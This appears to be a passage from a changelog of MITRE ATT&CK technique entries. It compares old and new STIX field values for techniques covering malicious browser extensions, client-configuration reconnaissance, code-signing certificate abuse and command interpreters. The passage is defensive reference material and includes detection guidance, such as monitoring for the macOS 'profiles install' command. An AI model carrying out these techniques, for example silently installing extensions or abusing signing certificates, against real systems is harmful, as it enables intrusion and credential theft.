Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.
Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)
Once the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.
There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware) |
| external_references[4]['source_name'] | Chrome Extension Crypto Miner | xorrior chrome extensions macOS |
| external_references[4]['description'] | Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017. | Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021. |
| external_references[4]['url'] | https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ | https://www.xorrior.com/No-Place-Like-Chrome/ |
| external_references[5]['source_name'] | ICEBRG Chrome Extensions | Chrome Extension Crypto Miner |
| external_references[5]['description'] | De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. | Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017. |
| external_references[5]['url'] | https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses | https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ |
| external_references[6]['source_name'] | Banker Google Chrome Extension Steals Creds | ICEBRG Chrome Extensions |
| external_references[6]['description'] | Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017. | De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. |
| external_references[6]['url'] | https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ | https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses |
| external_references[7]['source_name'] | Catch All Chrome Extension | Banker Google Chrome Extension Steals Creds |
| external_references[7]['description'] | Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017. | Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017. |
| external_references[7]['url'] | https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) | https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ |
| external_references[8]['source_name'] | Stantinko Botnet | Catch All Chrome Extension |
| external_references[8]['description'] | Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017. | Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017. |
| external_references[8]['url'] | https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ | https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) |
| external_references[9]['source_name'] | Chrome Extension C2 Malware | Stantinko Botnet |
| external_references[9]['description'] | Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017. | Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017. |
| external_references[9]['url'] | https://kjaer.io/extension-malware/ | https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Process monitoring | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[4] | Browser extensions | File: File Creation |
| x_mitre_detection | Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. | Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.
Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.
On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Chrome Extension C2 Malware', 'description': 'Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.', 'url': 'https://kjaer.io/extension-malware/'} | |
| x_mitre_contributors | Chris Ross @xorrior |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's client |
| > | tion about the victim's client configurations that can be us | > | configurations that can be used during targeting. Informati | ||
| > | ed during targeting. Information about client configurations | > | on about client configurations may include a variety of deta | ||
| > | may include a variety of details and settings, including op | > | ils and settings, including operating system/version, virtua | ||
| > | erating system/version, virtualization, architecture (ex: 32 | > | lization, architecture (ex: 32 or 64 bit), language, and/or | ||
| > | or 64 bit), language, and/or time zone. Adversaries may ga | > | time zone. Adversaries may gather this information in vario | ||
| > | ther this information in various ways, such as direct collec | > | us ways, such as direct collection actions via [Active Scann | ||
| > | tion actions via [Active Scanning](https://attack.mitre.org/ | > | ing](https://attack.mitre.org/techniques/T1595) (ex: listeni | ||
| > | techniques/T1595) (ex: listening ports, server banners, user | > | ng ports, server banners, user agent strings) or [Phishing f | ||
| > | agent strings) or [Phishing for Information](https://attack | > | or Information](https://attack.mitre.org/techniques/T1598). | ||
| > | .mitre.org/techniques/T1598). Adversaries may also compromis | > | Adversaries may also compromise sites then include malicious | ||
| > | e sites then include malicious content designed to collect h | > | content designed to collect host information from visitors. | ||
| > | ost information from visitors.(Citation: ATT ScanBox) Inform | > | (Citation: ATT ScanBox) Information about the client configu | ||
| > | ation about the client configurations may also be exposed to | > | rations may also be exposed to adversaries via online or oth | ||
| > | adversaries via online or other accessible data sets (ex: j | > | er accessible data sets (ex: job postings, network maps, ass | ||
| > | ob postings, network maps, assessment reports, resumes, or p | > | essment reports, resumes, or purchase invoices). Gathering t | ||
| > | urchase invoices). Gathering this information may reveal opp | > | his information may reveal opportunities for other forms of | ||
| > | ortunities for other forms of reconnaissance (ex: [Search Op | > | reconnaissance (ex: [Search Open Websites/Domains](https://a | ||
| > | en Websites/Domains](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1593) or [Search Open Technical | ||
| > | 93) or [Search Open Technical Databases](https://attack.mitr | > | Databases](https://attack.mitre.org/techniques/T1596)), esta | ||
| > | e.org/techniques/T1596)), establishing operational resources | > | blishing operational resources (ex: [Develop Capabilities](h | ||
| > | (ex: [Develop Capabilities](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1587) or [Obtain Capabil | ||
| > | ques/T1587) or [Obtain Capabilities](https://attack.mitre.or | > | ities](https://attack.mitre.org/techniques/T1588)), and/or i | ||
| > | g/techniques/T1588)), and/or initial access (ex: [Supply Cha | > | nitial access (ex: [Supply Chain Compromise](https://attack. | ||
| > | in Compromise](https://attack.mitre.org/techniques/T1195) or | > | mitre.org/techniques/T1195) or [External Remote Services](ht | ||
| > | [External Remote Services](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1133)). | ||
| > | ues/T1133)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:52:10.774000+00:00 | 2021-10-17 16:35:09.668000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 12:44:27.995000+00:00 | 2021-03-16 12:47:00.192000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | User Account: User Account Creation |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | IaaS |
| x_mitre_platforms[3] | Office 365 | Google Workspace |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | Azure AD |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 16:53:55.390000+00:00 | 2021-03-16 12:54:41.133000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | User Account: User Account Metadata |
| x_mitre_data_sources[1] | AWS CloudTrail logs | Command: Command Execution |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | SaaS |
| x_mitre_platforms[3] | Office 365 | IaaS |
| x_mitre_platforms[4] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | Office 365 account logs | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | SaaS |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 19:39:34.817000+00:00 | 2021-03-31 19:41:06.948000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_detection | Monitor access to the Instance Metadata API and look for anomalous queries. It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. | Monitor access to the Instance Metadata API and look for anomalous queries. It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078). |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:19:00.966000+00:00 | 2021-03-16 12:56:36.098000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Azure activity logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | IaaS |
| x_mitre_platforms[3] | Azure AD | Google Workspace |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 14:31:41.758000+00:00 | 2021-03-16 12:57:03.837000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | Cloud Service: Cloud Service Metadata |
| x_mitre_data_sources[1] | Stackdriver logs | Cloud Service: Cloud Service Enumeration |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | IaaS | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | AWS | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create self-si | t | 1 | Adversaries may create self-signed code signing certificates |
| > | gned code signing certificates that can be used during targe | > | that can be used during targeting. Code signing is the proc | ||
| > | ting. Code signing is the process of digitally signing execu | > | ess of digitally signing executables and scripts to confirm | ||
| > | tables and scripts to confirm the software author and guaran | > | the software author and guarantee that the code has not been | ||
| > | tee that the code has not been altered or corrupted. Code si | > | altered or corrupted. Code signing provides a level of auth | ||
| > | gning provides a level of authenticity for a program from th | > | enticity for a program from the developer and a guarantee th | ||
| > | e developer and a guarantee that the program has not been ta | > | at the program has not been tampered with.(Citation: Wikiped | ||
| > | mpered with.(Citation: Wikipedia Code Signing) Users and/or | > | ia Code Signing) Users and/or security tools may trust a sig | ||
| > | security tools may trust a signed piece of code more than an | > | ned piece of code more than an unsigned piece of code even i | ||
| > | unsigned piece of code even if they don't know who issued t | > | f they don't know who issued the certificate or who the auth | ||
| > | he certificate or who the author is. Prior to [Code Signing | > | or is. Prior to [Code Signing](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1553/002), adversarie | > | hniques/T1553/002), adversaries may develop self-signed code | ||
| > | s may develop self-signed code signing certificates for use | > | signing certificates for use in operations. | ||
| > | in operations. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 01:15:54.945000+00:00 | 2021-10-17 16:07:08.549000+00:00 |
| description | Before compromising a victim, adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations. | Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). | Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy and/or ste | t | 1 | Adversaries may buy and/or steal code signing certificates t |
| > | al code signing certificates that can be used during targeti | > | hat can be used during targeting. Code signing is the proces | ||
| > | ng. Code signing is the process of digitally signing executa | > | s of digitally signing executables and scripts to confirm th | ||
| > | bles and scripts to confirm the software author and guarante | > | e software author and guarantee that the code has not been a | ||
| > | e that the code has not been altered or corrupted. Code sign | > | ltered or corrupted. Code signing provides a level of authen | ||
| > | ing provides a level of authenticity for a program from the | > | ticity for a program from the developer and a guarantee that | ||
| > | developer and a guarantee that the program has not been tamp | > | the program has not been tampered with.(Citation: Wikipedia | ||
| > | ered with.(Citation: Wikipedia Code Signing) Users and/or se | > | Code Signing) Users and/or security tools may trust a signe | ||
| > | curity tools may trust a signed piece of code more than an u | > | d piece of code more than an unsigned piece of code even if | ||
| > | nsigned piece of code even if they don't know who issued the | > | they don't know who issued the certificate or who the author | ||
| > | certificate or who the author is. Prior to [Code Signing]( | > | is. Prior to [Code Signing](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1553/002), adversaries | > | iques/T1553/002), adversaries may purchase or steal code sig | ||
| > | may purchase or steal code signing certificates for use in o | > | ning certificates for use in operations. The purchase of cod | ||
| > | perations. The purchase of code signing certificates may be | > | e signing certificates may be done using a front organizatio | ||
| > | done using a front organization or using information stolen | > | n or using information stolen from a previously compromised | ||
| > | from a previously compromised entity that allows the adversa | > | entity that allows the adversary to validate to a certificat | ||
| > | ry to validate to a certificate provider as that entity. Adv | > | e provider as that entity. Adversaries may also steal code s | ||
| > | ersaries may also steal code signing materials directly from | > | igning materials directly from a compromised third-party. | ||
| > | a compromised third-party. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:22:21.007000+00:00 | 2021-10-17 16:19:50.018000+00:00 |
| description | Before compromising a victim, adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party. | Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). | Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.2
Version changed from: 2.1 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse command and script interpreters to exe | t | 1 | Adversaries may abuse command and script interpreters to exe |
| > | cute commands, scripts, or binaries. These interfaces and la | > | cute commands, scripts, or binaries. These interfaces and la | ||
| > | nguages provide ways of interacting with computer systems an | > | nguages provide ways of interacting with computer systems an | ||
| > | d are a common feature across many different platforms. Most | > | d are a common feature across many different platforms. Most | ||
| > | systems come with some built-in command-line interface and | > | systems come with some built-in command-line interface and | ||
| > | scripting capabilities, for example, macOS and Linux distrib | > | scripting capabilities, for example, macOS and Linux distrib | ||
| > | utions include some flavor of [Unix Shell](https://attack.mi | > | utions include some flavor of [Unix Shell](https://attack.mi | ||
| > | tre.org/techniques/T1059/004) while Windows installations in | > | tre.org/techniques/T1059/004) while Windows installations in | ||
| > | clude the [Windows Command Shell](https://attack.mitre.org/t | > | clude the [Windows Command Shell](https://attack.mitre.org/t | ||
| > | echniques/T1059/003) and [PowerShell](https://attack.mitre.o | > | echniques/T1059/003) and [PowerShell](https://attack.mitre.o | ||
| > | rg/techniques/T1059/001). There are also cross-platform int | > | rg/techniques/T1059/001). There are also cross-platform int | ||
| > | erpreters such as [Python](https://attack.mitre.org/techniqu | > | erpreters such as [Python](https://attack.mitre.org/techniqu | ||
| > | es/T1059/006), as well as those commonly associated with cli | > | es/T1059/006), as well as those commonly associated with cli | ||
| > | ent applications such as [JavaScript/JScript](https://attack | > | ent applications such as [JavaScript](https://attack.mitre.o | ||
| > | .mitre.org/techniques/T1059/007) and [Visual Basic](https:// | > | rg/techniques/T1059/007) and [Visual Basic](https://attack.m | ||
| > | attack.mitre.org/techniques/T1059/005). Adversaries may abu | > | itre.org/techniques/T1059/005). Adversaries may abuse these | ||
| > | se these technologies in various ways as a means of executin | > | technologies in various ways as a means of executing arbitr | ||
| > | g arbitrary commands. Commands and scripts can be embedded i | > | ary commands. Commands and scripts can be embedded in [Initi | ||
| > | n [Initial Access](https://attack.mitre.org/tactics/TA0001) | > | al Access](https://attack.mitre.org/tactics/TA0001) payloads | ||
| > | payloads delivered to victims as lure documents or as second | > | delivered to victims as lure documents or as secondary payl | ||
| > | ary payloads downloaded from an existing C2. Adversaries may | > | oads downloaded from an existing C2. Adversaries may also ex | ||
| > | also execute commands through interactive terminals/shells. | > | ecute commands through interactive terminals/shells, as well | ||
| > | as utilize various [Remote Services](https://attack.mitre.o | ||||
| > | rg/techniques/T1021) in order to achieve remote Execution.(C | ||||
| > | itation: Powershell Remote Commands)(Citation: Cisco IOS Sof | ||||
| > | tware Integrity Assurance - Command History)(Citation: Remot | ||||
| > | e Shell Execution in Python) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 16:43:39.362000+00:00 | 2021-08-16 21:03:21.700000+00:00 |
| description | Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells. | Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python) |
| x_mitre_data_sources[0] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[1] | PowerShell logs | Process: Process Creation |
| x_mitre_data_sources[2] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[3] | Process command-line parameters | Script: Script Execution |
| x_mitre_remote_support | False | True |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Powershell Remote Commands', 'description': 'Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.', 'url': 'https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1'} | |
| external_references | {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23'} | |
| external_references | {'source_name': 'Remote Shell Execution in Python', 'description': 'Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.', 'url': 'https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
